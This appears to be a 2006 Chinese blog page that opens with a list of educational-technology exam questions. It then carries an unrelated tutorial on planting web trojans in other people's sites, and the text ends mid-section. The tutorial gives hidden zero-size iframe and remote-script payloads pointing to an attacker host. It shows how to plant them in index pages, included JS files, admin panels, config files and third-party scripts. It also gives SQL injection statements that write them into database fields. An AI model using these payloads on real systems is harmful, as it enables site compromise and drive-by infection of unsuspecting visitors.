4.信息与符号的关系
5.非语言符号的特性
6.简要说明人对信息加工的内容过程
二、论述
1.论述教育传播过程中媒体与人的关系
2.试分析应用计算机网络媒体教学过程中教师的作用
3.分析多媒体计算机与网络传播媒体对教育的影响。

2002年试题

信息技术的教育应用试题：

一.名词解释
教学软件多媒体技术局域网积件信息技术
二、简答
1. 按教学活动组织方式不同，教学软件可分为哪几种类型？分别记忆简单说明。
2.MIDI音乐和WAV声音在表现音频信息方面各有什优缺点？
3.超媒体应用于教学中可能存在哪些缺陷？
4.智能教学系统的"智能"主要体现在哪几个方面？
三、论述题
1.试论述教学设计和计算机技术在教学软件开发中各有什么作用？
2.和传统教学模式下的教师相比，信息技术环境下的教师角色发生了哪些转变？

教育技术学试题：

一、简答题
1.解释"教育技术"的概念
2.安置性评价的主要功能是什么？
3.网络的教学功能
4.解释"Electronic Performance Support Systems"概念
5.教学内容分析与组织工作的基本任务是什么？
6.现代远程教育的理想
7.传播理论对教育技术的影响
8.网络传播媒体对教学过程的影响
9.举例说明"符号的意义来自经验"的观点
10.现代远程教育的发展趋势
二、综述与论述题
1.概述美国教育技术的发展过程
2.如何从教育的角度来设计教育网站‘

2003年考题

教育技术学试题：

一、简答题：
1.教育技术学的学科性质
2.教育技术学的学科内容
3.教学设计为什么要分析学生及学习内容？
4.教学设计的主要内容
5.远程教育的特点
6.解释教育技术
7.信息化教育的特征
8.解释"抽象性与形象性相结合的原则"
9.选择媒体应遵循的原则
10.安排教学内容的原则
二、论述题
1.如何在教学过程中选择与应用信息技术
2.传播理论对网络教育的影响

计算机辅助教育试题：

一、名词解释并写出英语
WWW CAT CAI 搜索引擎网关微型世界形成性评价桥接器
二、简答
1.从组织结构看课件的类型、并分析其特点
2.课件的制作过程
3.教育信息化的特点及主要内容
4.网络教育有哪些特点
三、论述
1.论教育技术与信息技术的关系
2.教育技术对教学改革的影响

2004试题

教育技术学

一、简答题
1.说明课堂教学设计的基本内容
2.举例说明什么是无形的智能教育技术
3.解释"媒体一般是灵活的、可以替换的"这一观点
4.说明信息技术对教学过程的影响
5.列举两种网络环境下的群体化的协作学习方式
6.请分别编制一个测验题，检查学生对"教育技术"概念的记忆和理解水平
7.解释医疗电子绩效支持系统的功能
8.举例说明什么是效能工具软件和认知工具软件
9.说明选择教学方法的标准
10.举例说明什么是陈述性先行组织者
二、论述题
1.假设你是一地方的电教馆馆长，请说明并论述你应该如何开展当地的教育技术工作。
（要求：观点明确，论据充分，论证有逻辑性，500字以上）
2.请就下面的观点进行评述：
由于多媒体计算机在教学中具有多种功能，并且在教学中已经得到广泛应用，因此
有人提出：多媒体计算机是一种全能的媒体，它能够代替幻灯、投影、广播、录音、
电影、电视等媒体。（要求：观点明确，论据充分，论证有逻辑性，500字以上）

信息技术教育应用

一、名词解释
HTTP ATM CSS 流媒体群件中间件信息技术面向对象技术
二、简答题
1．简述IP地址与域名的对应关系，举例说明。
2．简述Java Script在网页制作中的作用，试写代码加以说明。
3．简述超媒体应用于教学的优势及其可能存在的缺陷。
4．简述传统单机运行的课件和网络课件在教学功能上的异同点。
5．简述互联网提供的可用于教学的交互方式并加以说明。
三、论述
从积件的概念及其思想出发探讨其对网络教学资源库建设的指导意义。

- 作者： ymlhc2004 2006年07月1日, 星期六 13:38　回复（1） |　引用（0）加入博采

多姿多彩的挂马方式

这里我拿挂首页index.asp来举例子。
　　
　　先说一说，得到webshell的挂马方法
　　一般的挂马的都是用框架，这是最基本的挂马方式，只要不破坏原有的语言逻辑，那就想插入哪里就写哪里了，最基本的语句当然是<iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>，其中http://www.fucksb.net/mm.htm 是我们的木马，下面就不一个一个提示了。

　　上面可能是一般的挂马方式，也是初学者的玩法，好了，再说深一点点的，那就是js文件，好多网站上，你查看源代码都会调用js文件，其中的语句为<script language=javascript src=./ad/ad.js></script>，想到了什么，这里也可以挂马，其中我们可以远程调用自己的js，比如:<script language=javascript src=http://www.fucksb.net/mm.js></script>这个mm.js就可以写木马了，怎么写呢，同样，我们还用最基本的iframe框架，不过在<script></script>之中可识别语言不是html，那怎么办呢，follow me,js文件可以这样写:document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>");，这种形势，这时就可以执行此js中的代码了，当然了，说白了，其实全语句就是<script language=javascript>document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>")</script>呵呵。。

　　聪明的你可能发现了一点，好像不止是js文件哦~，只要在<script></script>之中，无论什么后缀的文件，只要里面写的语句可以被javascript识别就会执行，对的，比如<script src=http://www.fucksb.net/mm.test></script>，又如<script src=http://www.fucksb.net/mm.lala></script>管他的后缀是什么，只要里面写的语句正确就会被执行了。

同样，如果首页调用其它网站，或者次级目录中的htm,asp等如:<iframe src=./ad/news.htm width=300 height=200></iframe>
也可以在news.htm文件里挂马，可以是htm和js，随便哪种，这是比较隐蔽的玩法，这些适用于主页没有写权限的方法。

　 <script>同<iframe>2个相比较，好处是script整体挂马的代码长度比iframe小得多，很实用。说实用是在数据库方面，下面介绍。

数据库挂马，这里我们拿mssql数据库为例子。

　　这里说的是首页调用到的数据库，比如新闻，论坛，公告，等等，一般是标题。这些需要经验去检测，举个例子，比如首页有一条新闻为：“明日开业”，那么鼠标点此新闻，地址栏打开的新窗口为news.asp?id=1，这种情况，这时，就可以判断此新闻是从数据库中调用的了，当然了，我们不说access，只说mssql。
　　首页，我们要有这个网站中的一个注入点，比如就点在vote.asp?id=123，同时，至少是Db_owner权限，这时如果要挂马可以不用取到webshell，因为如果我们的目的只在于挂马的话，而且有时，还得检测mssql数据库和web服务器不在同一个机器上，那挂马的方式就是更改数据库内容，这里我说的就是这种，如上面说的，首页显示的一条新闻标题为“明日开业”，如果首页显示的标题是“明日开业</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>”，那这样的话，首页就会执行这段代码了，像这种情况，找到了注入点，就得找表名，如此新闻的表名为news，字段为title，id,等等，根据猜测,id=1时，暴出的字段title的值就为“明日开业”，那么90%就可以猜到了，首页调用的数据库的字段就为news表中的title，这时在注入点，可以大胆提交vote.asp?id=123;update news set title='明日开业</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1;--，这样就可更改数据库了，前提是最少要少db_owner权限，当然也有时由于代码原因，也可以这样提交:vote.asp?id=123';update news set title='明日开业</a><ifrmae src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1 and '1'='1，也可以...
　　这种方法是有问题的，实战中存在不少问题，因为一般的情况下，标题都是通过<table>来限制宽度，也就是说如果你的标题的长度超过了指定的长度，那么你的代码只能写一半，这样就不能执行了，所以挂马最好的方法是用<script>这种方法来挂马了，如:
vote.asp?id=123;update news set title='明日开业</a><script src=http://www.fucksb.net/mm.js></script>' where id=1;--长度有很大的减少，很不错。

后台挂马
通常注入等不到webshell，就只能靠进后台挂马。

这里说的是进入了后台，但不能通过后台得到webshell，这时要仔细关察后台，像比较网站的链接、顶部底部的广告、都可以直接写入你的木马代码，等等，后台是灵活的，具体问题具体分析。不过有一点很重要，是不要打乱前台htm源文件里的代码逻辑，比如应该闭合前面的<a><img>"( 等这些符号，应该先闭合掉如</a></img>")。

其它形式

如一首页调用了<iframe src="/vote.asp?id=1&";no=view width=100></iframe>此种形势，一样可以在vote.asp中直接写入iframe木马代码，如果调用的是<script src="/vote.asp?id=1&";no=view width=100></script>在vote.asp写代码时，请用document.write("")这种格式写入，当然，如果被挂文件中还有调用的文件可以继续往深处写，如果你够狠的话，直接写到数据库配置文件中，如conn.asp，这样好多页面可以同时挂上你的一种木马了。
当然这里也有js文件，一样原理。
挂一个网站的马，不一定就得攻入他，有时没有方法的同时，可以考虑跨站。好多站用了别的站的js文件，如:<script src=http://www.163.com/user.js>这种情势，这时就可以考虑只拿163.com的权限就行了，只要能修改到user.js文件就可以挂到你要挂的站点了，同理，也有<iframe src=http://www.163.com/user.htm>此种情况，一样道理，剑走偏锋，达到目的，无论用什么招数了。

服务器挂马
这里简单说一个比较狠的吧.
重定向任何调用的htm，js,等文件，只要是执行的如图: